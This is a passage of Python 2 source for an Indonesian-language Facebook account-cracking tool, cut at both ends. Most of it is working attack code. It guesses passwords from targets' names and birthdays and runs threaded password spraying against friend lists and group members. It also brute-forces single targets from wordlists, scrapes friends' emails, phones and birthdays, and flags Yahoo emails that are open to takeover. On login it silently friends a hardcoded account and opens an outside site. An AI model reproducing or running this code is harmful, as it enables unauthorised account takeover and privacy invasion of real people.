[] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() 